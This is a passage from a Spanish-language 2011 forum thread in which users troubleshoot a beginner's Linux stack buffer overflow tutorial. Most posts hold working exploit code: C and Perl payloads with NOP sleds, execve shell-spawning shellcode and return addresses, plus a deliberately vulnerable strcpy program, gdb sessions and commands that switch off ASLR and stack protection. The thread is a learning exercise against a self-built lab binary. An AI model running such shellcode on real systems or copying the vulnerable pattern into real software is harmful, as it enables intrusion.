elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Rompecabezas de Bitcoin, Medio millón USD en premios


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking
| | |-+  Bugs y Exploits
| | | |-+  [First BoF Linux attack : Sagrini 2010 : elhacker.net] [Funciona!!!]
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: 1 [2] 3 Ir Abajo Respuesta Imprimir
Autor Tema: [First BoF Linux attack : Sagrini 2010 : elhacker.net] [Funciona!!!]  (Leído 13,870 veces)
Belial & Grimoire


Desconectado Desconectado

Mensajes: 559


Tea_Madhatter


Ver Perfil
Re: [First BoF Linux attack : Sagrini 2010 : elhacker.net] ¿No funciona?
« Respuesta #10 en: 7 Febrero 2011, 07:31 am »

sip, lo hice con tu codigo, y lo unico que cambie fue "./vuln"

y al ejecutarlo me aparece esto

Código:
�����������������������1�Ph//shh/bin��P��S���

y vuln lo compile asi exactamente

Código:
gcc -o vuln vuln.c --no-stack-protector -g -z execstack

y haciendo esto

Código:
sprintf(cmd,"%s %s%s%s", exp, nops, shellcode, ret);

me dice.... Segmentation fault

En línea

.                                 
mr.blood

Desconectado Desconectado

Mensajes: 150


Ver Perfil
Re: [First BoF Linux attack : Sagrini 2010 : elhacker.net] ¿No funciona?
« Respuesta #11 en: 7 Febrero 2011, 15:58 pm »

No, eso que pusiste no es mi code.

Tiene errores, como
Código:
char nops[23] = "";
es nops[24] ;). Quiza por eso te tira segmentation fault.

Y eso del sprintf que ya te dije ;).



Pon mas informacion, que distro usas ???

Yo uso OpenSuSe y me funciona perfecto.

Sa1uDoS

P.D.:Agregame al MSN si quieres y miramos que es con mas detalle ;).



EDIT:

A mi asi me funciona:
Código
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <string.h>
  4.  
  5. int main(){
  6.  
  7. char exp[] = "./bof";
  8. char nops[24] = "";
  9. memset(nops, '\x90', 23);
  10. char shellcode[]="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
  11. char ret[]="\x18\x1f\x9b\xbf";
  12.  
  13. char *cmd;
  14. cmd=(char *)malloc(strlen(exp) + strlen(nops) + strlen(shellcode) + strlen(ret) + 1);
  15.  
  16. sprintf(cmd,"%s %s%s%s", exp, nops, shellcode, ret);
  17.  
  18. system(cmd);
  19. free(cmd);
  20.  
  21. return 0;
  22. }
  23.  



EDIT2:

Prueba si quieres con una shellcode que he hecho yo ;), aunque la de Sagrini va genial tambien.

Código
  1. #include <stdio.h> /* Para Sprintf */
  2. #include <string.h> /* Para memset */
  3. #include <stdlib.h> /*Para malloc y system */
  4.  
  5. int main()
  6. {
  7. char name[]="./bof";
  8. char nops[26]="";
  9. memset(nops, '\x90', 25); /* Copiamos el byte 90 25 veces en la variable nops */
  10. char shellcode[]="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"
  11. "\x31\xc9\x31\xd2\xb0\x0b\xcd\x80";
  12. char ret[]="\x18\x1f\x9b\xbf";
  13.  
  14. char *cmd;/* Definimos un puntero donde juntaremos todo, para llamarlo con system */
  15. cmd=(char *)malloc(sizeof(name)+sizeof(nops)+sizeof(shellcode)+sizeof(ret)+1);/* Reservamos la memoria necesaria
  16. para juntar todo */
  17. sprintf(cmd, "%s %s%s%s", name,nops,shellcode,ret);/* Juntamos name, nop, shellcode y ret en el
  18. puntero cmd, entre name y los demas campos dejamos un espacio */
  19. system(cmd);
  20. free(cmd);/* Liberamos la memoria */
  21. return 0;
  22. }
  23.  
« Última modificación: 7 Febrero 2011, 16:16 pm por mr.blood » En línea

Garfield07


Desconectado Desconectado

Mensajes: 1.121


¡Este año voy a por todas! JMJ 2011


Ver Perfil WWW
Re: [First BoF Linux attack : Sagrini 2010 : elhacker.net] ¿No funciona?
« Respuesta #12 en: 7 Febrero 2011, 18:49 pm »

No, eso que pusiste no es mi code.

Tiene errores, como
Código:
char nops[23] = "";
es nops[24] ;). Quiza por eso te tira segmentation fault.

Y eso del sprintf que ya te dije ;).



Pon mas informacion, que distro usas ???

Yo uso OpenSuSe y me funciona perfecto.

Sa1uDoS

P.D.:Agregame al MSN si quieres y miramos que es con mas detalle ;).



EDIT:

A mi asi me funciona:
Código
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <string.h>
  4.  
  5. int main(){
  6.  
  7. char exp[] = "./bof";
  8. char nops[24] = "";
  9. memset(nops, '\x90', 23);
  10. char shellcode[]="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
  11. char ret[]="\x18\x1f\x9b\xbf";
  12.  
  13. char *cmd;
  14. cmd=(char *)malloc(strlen(exp) + strlen(nops) + strlen(shellcode) + strlen(ret) + 1);
  15.  
  16. sprintf(cmd,"%s %s%s%s", exp, nops, shellcode, ret);
  17.  
  18. system(cmd);
  19. free(cmd);
  20.  
  21. return 0;
  22. }
  23.  



EDIT2:

Prueba si quieres con una shellcode que he hecho yo ;), aunque la de Sagrini va genial tambien.

Código
  1. #include <stdio.h> /* Para Sprintf */
  2. #include <string.h> /* Para memset */
  3. #include <stdlib.h> /*Para malloc y system */
  4.  
  5. int main()
  6. {
  7. char name[]="./bof";
  8. char nops[26]="";
  9. memset(nops, '\x90', 25); /* Copiamos el byte 90 25 veces en la variable nops */
  10. char shellcode[]="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"
  11. "\x31\xc9\x31\xd2\xb0\x0b\xcd\x80";
  12. char ret[]="\x18\x1f\x9b\xbf";
  13.  
  14. char *cmd;/* Definimos un puntero donde juntaremos todo, para llamarlo con system */
  15. cmd=(char *)malloc(sizeof(name)+sizeof(nops)+sizeof(shellcode)+sizeof(ret)+1);/* Reservamos la memoria necesaria
  16. para juntar todo */
  17. sprintf(cmd, "%s %s%s%s", name,nops,shellcode,ret);/* Juntamos name, nop, shellcode y ret en el
  18. puntero cmd, entre name y los demas campos dejamos un espacio */
  19. system(cmd);
  20. free(cmd);/* Liberamos la memoria */
  21. return 0;
  22. }
  23.  

Wow gracias por revivir a todos! Estaba tanto con el taller que se me habia pasado...
Como os comentaba, podeis probar a hacerlo con Perl desde la linea de comandos :P
./vuln $(perl -e 'print "\x90"x11 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\xXX\xXX\xXX\xXX"')

Las XX las sustituis por vuestra direccion de regreso :P. Aqui pongo la de la variable buffer, donde se encuentra la shellcode. Aparte, si os dais cuenta...
11 + 25 + 4 = 40. Buffer = 36. Que pasa? Porque en medio tenemos EBP y el ret. Pues lo que pasa es que al volver se quitan 4 bytes :P.
Bueno, hago eso y me suelta la shell.
Ahora, para vuestra direccion de regreso...
Código:
juanra@Juanra:~/Escritorio/Shell$ gcc -o vuln vuln.c --no-stack-protector -z execstack [b]-g[/b]
juanra@Juanra:~/Escritorio/Shell$ gdb -q vuln
(gdb) br vuln
Breakpoint 1 at 0x80483ca: file vuln.c, line 7.
(gdb) r AAA
Starting program: /home/juanra/Escritorio/Shell/vuln AAA

Breakpoint 1, vuln (buff=0xbffffb60 "AAA") at vuln.c:7
7 strcpy (buffer, buff);
(gdb) x/x buffer
[b]0xbffff904[/b]: 0x00000000
(gdb)

Ahora, si quereis le sumais algo por si las moscas :P
En línea



* Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente.
* No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado.
* Si compila esta bien, si arranca es perfecto.

¡Wiki elhacker.net!
Un saludo
Garfield07


Desconectado Desconectado

Mensajes: 1.121


¡Este año voy a por todas! JMJ 2011


Ver Perfil WWW
Re: [First BoF Linux attack : Sagrini 2010 : elhacker.net] ¿No funciona?
« Respuesta #13 en: 9 Febrero 2011, 00:22 am »

Bueno, escribí un pequeño code para mi blog hace un ratillo...
Código
  1. #include <stdio.h>
  2. #include <string.h>
  3.  
  4. int vuln (char *buff)
  5. {
  6.    char buffer [36];
  7.    strcpy (buffer, buff);
  8. }
  9.  
  10. int main (int argc, char *argv [])
  11. {
  12.    vuln (argv [1]);
  13. }
  14.  
  15. int feo ()
  16. {
  17.    printf ("Eres feo!!!");
  18.    exit (0);
  19. }
  20.  
Código:
juanra@Juanra:~/Escritorio/Shell$ gcc -o vuln vuln.c --no-stack-protector -z execstack
juanra@Juanra:~/Escritorio/Shell$ ./vuln (perl -e 'print "A"x40 . "\x68\x84\x04\x08"')
Eres feo!!!
juanra@Juanra:~/Escritorio/Shell$
Código
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <string.h>
  4.  
  5. int main ()
  6. {
  7.    char nops [40];
  8.    memset (nops, 'A', 40);
  9.    char ret [5] = "\x68\x84\x04\x08";
  10.  
  11.    char command [51];
  12.    strcpy (command, "./vuln ");
  13.    strcat (command, nops);
  14.    strcat (command, ret);
  15.    system (command);
  16. }
  17.  

Luego lo hago con shellcode... Este ahora mismo va :P
En línea



* Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente.
* No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado.
* Si compila esta bien, si arranca es perfecto.

¡Wiki elhacker.net!
Un saludo
Garfield07


Desconectado Desconectado

Mensajes: 1.121


¡Este año voy a por todas! JMJ 2011


Ver Perfil WWW
Re: [First BoF Linux attack : Sagrini 2010 : elhacker.net] ¿No funciona?
« Respuesta #14 en: 9 Febrero 2011, 00:56 am »

Bueno, tras un ratillo erre que erre golpeándome he conseguido ejecutar una shellcode. Os explico:
Primero he calculado cuantos nops (0x90, el procesador no hace nada) le tengo que meter a la cadena. Luego, he escrito mi shellcode, y finalmente he calculado la dirección de regreso.
Calculemos: Tenemos 36 bytes, pero para cambiar la ejecución del programa hacen falta 44. Así que...
44 - 4 (dirección de regreso) = 40. Mi shellcode mide 25 pbytes...
40 - 25 (shellcode) = 15. En este hueco irá relleno.
Así que la estructura sería: 15 Nops (\x90) + 25 Shellcode + 4 Ret.
Escribimos:
Código:
juanra@Juanra:~/Escritorio/Shell$ gdb -q vuln
(gdb) r $(perl -e 'print "\x90" x 15 . "B"x25 . "XXXX"')
Starting program: /home/juanra/Escritorio/Shell/vuln $(perl -e 'print "\x90" x 15 . "B"x25 . "XXXX"')

Program received signal SIGSEGV, Segmentation fault.
0x58585858 in ?? ()
(gdb) r $(perl -e 'print "\x90" x 15 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "XXXX"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/juanra/Escritorio/Shell/vuln $(perl -e 'print "\x90" x 15 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "XXXX"')

Program received signal SIGSEGV, Segmentation fault.
0x58585858 in ?? ()
(gdb) br vuln
Breakpoint 1 at 0x804842a: file vuln.c, line 8.
(gdb) r AAA
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/juanra/Escritorio/Shell/vuln AAA

Breakpoint 1, vuln (buff=0xbffffb5f "AAA") at vuln.c:8
8        strcpy (buffer, buff);
(gdb) x/x buffer
0xbffff904:    0x00000000
(gdb) r $(perl -e 'print "\x90" x 15 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x04\xf9\xff\xbf"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/juanra/Escritorio/Shell/vuln $(perl -e 'print "\x90" x 15 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x04\xf9\xff\xbf"')

Breakpoint 1, vuln (
    buff=0xbffffb36 '\220' <repeats 15 times>, "1�Ph//shh/bin\211�P\211�S\211��\v�\200\004���") at vuln.c:8
8        strcpy (buffer, buff);
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0xbffff95b in ?? ()
(gdb)
¿Error? Pues sí. No nos hemos dado cuenta de que al volver se restan 4 bytes...
Código:
(gdb) r $(perl -e 'print "\x90" x 11 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x04\xf9\xff\xbf"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/juanra/Escritorio/Shell/vuln $(perl -e 'print "\x90" x 11 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x04\xf9\xff\xbf"')

Breakpoint 1, vuln (
    buff=0xbffffb3a '\220' <repeats 11 times>, "1�Ph//shh/bin\211�P\211�S\211��\v�\200\004���") at vuln.c:8
8        strcpy (buffer, buff);
(gdb) c
Continuing.
Executing new program: /bin/dash
(no debugging symbols found)
Error in re-setting breakpoint 1: Function "vuln" not defined.
(no debugging symbols found)
(no debugging symbols found)
$
Ahora escribimos el exploit...
Código
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <string.h>
  4.  
  5. int main ()
  6. {
  7.    char nops [11];
  8.    memset (nops, '\x90', 11);
  9.    char shellcode [26] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
  10.    char ret [5] = "\x04\xf9\xff\xbf";
  11.  
  12.    char command [47];
  13.    strcpy (command, "./vuln ");
  14.    strcat (command, nops);
  15.    strcat (command, shellcode);
  16.    strcat (command, ret);
  17.    system (command);
  18. }
  19.  
Código:
juanra@Juanra:~/Escritorio/Shell$ gcc -o exploit exploit.c
juanra@Juanra:~/Escritorio/Shell$ ./exploit
$

¡Bueno, lo hemos conseguido! ¡Hemos escrito nuestro primer exploit con shellcode en un entorno linux!

PD: Sé que no me explico nada bien, todas las dudas...
PD2: Habrá más entregas ;D
Un saludo! Os espero.
Sagrini


Sacado de mi blog xD!
En línea



* Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente.
* No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado.
* Si compila esta bien, si arranca es perfecto.

¡Wiki elhacker.net!
Un saludo
Belial & Grimoire


Desconectado Desconectado

Mensajes: 559


Tea_Madhatter


Ver Perfil
Re: [First BoF Linux attack : Sagrini 2010 : elhacker.net] [Funciona!!!]
« Respuesta #15 en: 10 Febrero 2011, 08:27 am »

hola

Pues lo estuve intentando, tambien de esta manera, conte las veces de nop's que se necesitaban y no hubo ninguna shell

ya tambien lo intente con perl, hice copy paste de los codigos y nada, compile las cosas como me dijeron y tampoco

me di cuenta de algo... al revisarlo con GDB, me di cuenta que al poner "r AAA", cuando trate de sacar el RET, me di cuenta que buffer no queda asi

Código:
Breakpoint 1, vuln (buff=0xbffffb60 "AAA") at vuln.c:7
7 strcpy (buffer, buff);
(gdb) x/x buffer
[b]0xbffff904[/b]: 0x00000000

Me queda de esta manera

Código:
Breakpoint 1, vuln (buff=0xbffff682 "AAAA") at vuln.c:7
7     strcpy (buffer, buff);
(gdb) x/x buffer
0xbffff40c: 0xb7e9ba75
(gdb)

y si coloco x/x buff

Código:
(gdb) x/x buff
0xbffff682: 0x41414141

alli estan los 41, o por lo menos eso en Windows para mi era señal de vulnerabilidad

intente con 0xbffff40c y 0xbffff682 y con ninguno de los 2, como mencione calcule too, y le iba aumentando poco a poco, pero en el comando "c" en gdb, solo me decia

(gdb) c
Continuing

y le aumente hasta que llegue a 15 me salio

Program received signal SIGSEGV, Segmentation fault.
0xbffff69c in ?? ()

no se si alli este el problema, aunque me imagino que sip

uso debian 6.0 squeeze

-------------------------------------

mr. blood

perdon si no te he podido agregar, pero como veras en estos momentos no he podido entrar mucho al foro, pero en cuanto pueda te agrego y vemos eso.

salu2



En línea

.                                 
Garfield07


Desconectado Desconectado

Mensajes: 1.121


¡Este año voy a por todas! JMJ 2011


Ver Perfil WWW
Re: [First BoF Linux attack : Sagrini 2010 : elhacker.net] [Funciona!!!]
« Respuesta #16 en: 10 Febrero 2011, 19:14 pm »

¿Has probado a desactivar protecciones?
Código:
$ sudo su
# echo 0 > /proc/sys/kernel/randomize_va_space
# cat /proc/sys/kernel/randomize_va_space
# exit
$
Código:
$ gcc -o vuln vuln.c --no-stack-protector -z execstack

Has copiado el code?
Código
  1. #include <stdio.h>
  2. #include <string.h>
  3.  
  4. int vuln (char *buff)
  5. {
  6.    char buffer [36];
  7.    strcpy (buffer, buff);
  8. }
  9.  
  10. int main (int argc, char *argv [])
  11. {
  12.    vuln (argv [1]);
  13. }
  14.  
  15. int feo ()
  16. {
  17.    printf ("Eres feo!!!");
  18.    exit (0);
  19. }
  20.  

Pues primero vemos cuántos bytes le metemos:
Código:
juanra@Juanra:~/Escritorio/Shell$ gdb -q vuln
(gdb) r $(perl -e 'print "\x90" x 15 . "B"x25 . "XXXX"')
Starting program: /home/juanra/Escritorio/Shell/vuln $(perl -e 'print "\x90" x 15 . "B"x25 . "XXXX"')

Program received signal SIGSEGV, Segmentation fault.
0x58585858 in ?? ()
(gdb) r $(perl -e 'print "\x90" x 15 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "XXXX"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/juanra/Escritorio/Shell/vuln $(perl -e 'print "\x90" x 15 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "XXXX"')

Program received signal SIGSEGV, Segmentation fault.
0x58585858 in ?? ()
(gdb) br vuln
Breakpoint 1 at 0x804842a: file vuln.c, line 8.
(gdb) r AAA
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/juanra/Escritorio/Shell/vuln AAA

Breakpoint 1, vuln (buff=0xbffffb5f "AAA") at vuln.c:8
8        strcpy (buffer, buff);
(gdb) x/x buffer
0xbffff904:    0x00000000
(gdb) r $(perl -e 'print "\x90" x 11 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x04\xf9\xff\xbf"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/juanra/Escritorio/Shell/vuln $(perl -e 'print "\x90" x 11 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x04\xf9\xff\xbf"')

Breakpoint 1, vuln (
    buff=0xbffffb3a '\220' <repeats 11 times>, "1�Ph//shh/bin\211�P\211�S\211��\v�\200\004���") at vuln.c:8
8        strcpy (buffer, buff);
(gdb) c
Continuing.
Executing new program: /bin/dash
(no debugging symbols found)
Error in re-setting breakpoint 1: Function "vuln" not defined.
(no debugging symbols found)
(no debugging symbols found)
$

Vamos, va perfecto...
1) Vemos cuantos bytes le metemos. En este programa dan 40.
2) Ahora, le restamos los bytes de la shellcode:
44 - 4 - 4 - 25 = 11
Los cuarenta y cuatro son para sobreescribir. La primera resta es de la dirección del ret. La segunda es porque al volver se restan cuatro bytes. Entonces tenemos:
11 NOPS + 25 SHELLCODE + 4 RET
3) Calculamos el RET:
Código:
juanra@Juanra:~/Escritorio/Shell$ gdb -q vuln
(gdb) br vuln
Breakpoint 1 at 0x804842a: file vuln.c, line 8.
(gdb) r AAA
Starting program: /home/juanra/Escritorio/Shell/vuln AAA

Breakpoint 1, vuln (buff=0xbffffb5f "AAA") at vuln.c:8
8 strcpy (buffer, buff);
(gdb) x/x buffer
0xbffff904: 0x00000000
(gdb) q
The program is running.  Exit anyway? (y or n) y
juanra@Juanra:~/Escritorio/Shell$
El ret cambia según qué ordenador. Tenéis que calcularlo cada uno...
Ahora ejecutamos...
Código:
x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x04\xf9\xff\xbf"')
$ ls
exploit  exploit.c  shell  shell.s  vuln  vuln.c
$ exit
juanra@Juanra:~/Escritorio/Shell$

Si aún no va dímelo...
Suerte!
En línea



* Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente.
* No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado.
* Si compila esta bien, si arranca es perfecto.

¡Wiki elhacker.net!
Un saludo
Belial & Grimoire


Desconectado Desconectado

Mensajes: 559


Tea_Madhatter


Ver Perfil
Re: [First BoF Linux attack : Sagrini 2010 : elhacker.net] [Funciona!!!]
« Respuesta #17 en: 11 Febrero 2011, 19:23 pm »

ya desactive randomize_va_space y si estoy utilizando ese mismo codigo, igualmente hice copy paste

para sobreescribir si son 44

44-4-4-25 = 11

al compilar tengo que agregar -g sino me aparece

Citar
(gdb) x/x buffer
No symbol table is loaded.  Use the "file" command.
(gdb) q

para que sobreescriba todo tengo que usar 4 AAAA en vez de 3

Esto no entiendo... tiene que salirme

Código:
0xbffff904:    0x00000000 <----

en vez de esto... o no importa?

Código:
0xbffff40c: 0xb7e9ba75 <-----

Cambie ret

Código:
r $(perl -e 'print "\x90" x 11 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x0c\xf4\xff\xbf"') <-----

paso a paso

Código:
(gdb) r $(perl -e 'print "\x90" x 15 . "B"x25 . "XXXX"')
Starting program: /home/the-gazette/Desktop/ex/vuln $(perl -e 'print "\x90" x 15 . "B"x25 . "XXXX"')

Program received signal SIGSEGV, Segmentation fault.
0x58585858 in ?? ()
(gdb) r $(perl -e 'print "\x90" x 15 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "XXXX"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/the-gazette/Desktop/ex/vuln $(perl -e 'print "\x90" x 15 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "XXXX"')

Program received signal SIGSEGV, Segmentation fault.
0x58585858 in ?? ()
(gdb) br vuln
Breakpoint 1 at 0x80483fa: file vuln.c, line 7.
(gdb) r AAAA
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/the-gazette/Desktop/ex/vuln AAAA

Breakpoint 1, vuln (buff=0xbffff682 "AAAA") at vuln.c:7
7     strcpy (buffer, buff);
(gdb) x/x buffer
0xbffff40c: 0xb7e9ba75
(gdb) x/x buff
0xbffff682: 0x41414141

(gdb) r $(perl -e 'print "\x90" x 11 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x0c\xf4\xff\xbf"')
Starting program: /home/the-gazette/Desktop/ex/vuln $(perl -e 'print "\x90" x 11 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x0c\xf4\xff\xbf"')

Breakpoint 1, vuln (
    buff=0xbffff65e "\220\220\220\220\220\220\220\220\220\220\220\061\300Ph//shh/bin\211\343P\211\342S\211\341\260\v̀\f\364\377\277") at vuln.c:7
7     strcpy (buffer, buff);
(gdb) c
Continuing.

Program exited with code 0334.

aumente en 12 solo por la curiosidad de las 4 AAAA y use 10 pero tampoco y use 0xbffff682 y tampoco

para encontrar ret

Código:
(gdb) r AAAA
Starting program: /home/the-gazette/Desktop/ex/vuln AAAA

Breakpoint 1, vuln (buff=0xbffff682 "AAAA") at vuln.c:8
8     strcpy (buffer, buff);
(gdb) x/x buffer
0xbffff40c: 0xb7e9ba75
(gdb) x/x buff
0xbffff682: 0x41414141

salu2
En línea

.                                 
Garfield07


Desconectado Desconectado

Mensajes: 1.121


¡Este año voy a por todas! JMJ 2011


Ver Perfil WWW
Re: [First BoF Linux attack : Sagrini 2010 : elhacker.net] [Funciona!!!]
« Respuesta #18 en: 11 Febrero 2011, 19:30 pm »

Te compiclas la vida:
11 Nops + 25 Shellcode + 4 ret

Busca tu ret y lo pones...
En línea



* Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente.
* No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado.
* Si compila esta bien, si arranca es perfecto.

¡Wiki elhacker.net!
Un saludo
Belial & Grimoire


Desconectado Desconectado

Mensajes: 559


Tea_Madhatter


Ver Perfil
Re: [First BoF Linux attack : Sagrini 2010 : elhacker.net] [Funciona!!!]
« Respuesta #19 en: 11 Febrero 2011, 20:15 pm »

no... mira, de forma sencilla

Citar
root@lainux:/home/the-gazette/Desktop/ex# echo 0 > /proc/sys/kernel/randomize_va_space
root@lainux:/home/the-gazette/Desktop/ex# cat /proc/sys/kernel/randomize_va_space
0
root@lainux:/home/the-gazette/Desktop/ex# exit
exit
the-gazette@lainux:~/Desktop/ex$ gcc -o vuln vuln.c --no-stack-protector -g -z execstack
the-gazette@lainux:~/Desktop/ex$ ./vuln $(perl -e 'print "\x90" x 11 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x0c\xf4\xff\xbf"')
the-gazette@lainux:~/Desktop/ex$

RET

Citar
(gdb) r AAAA
Starting program: /home/the-gazette/Desktop/ex/vuln AAAA

Breakpoint 1, vuln (buff=0xbffff682 "AAAA") at vuln.c:8
8       strcpy (buffer, buff);
(gdb) x/x buffer
0xbffff40c:   0xb7e9ba75
(gdb) x/x buff
0xbffff682:   0x41414141

si pongo RET con 3 AAA

Citar
(gdb) x/x buffer
0xbffff40c:   0xb7e9ba75
(gdb) x/x buff
0xbffff682:   0x00414141
(gdb)
En línea

.                                 
Páginas: 1 [2] 3 Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
[Tutorial] Introducion a los sockets en Ansi C : By Sagrini 2010
Programación C/C++
Garfield07 8 7,534 Último mensaje 19 Enero 2011, 19:50 pm
por Garfield07
[Texto] Atacando ASLR : By Sagrini 2012
Bugs y Exploits
Sagrini 1 3,125 Último mensaje 10 Marzo 2012, 02:09 am
por farresito
ayuda . textos de sagrini
Bugs y Exploits
afdlkglfgfdgfhgf 2 5,280 Último mensaje 10 Julio 2012, 00:49 am
por cirano045
elhacker linux « 1 2 »
GNU/Linux
samyforse3 15 7,380 Último mensaje 7 Marzo 2014, 13:20 pm
por Edusoner
Mass mailer attack, Kali Linux
GNU/Linux
acpesp666 2 2,646 Último mensaje 26 Agosto 2017, 01:48 am
por acpesp666
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines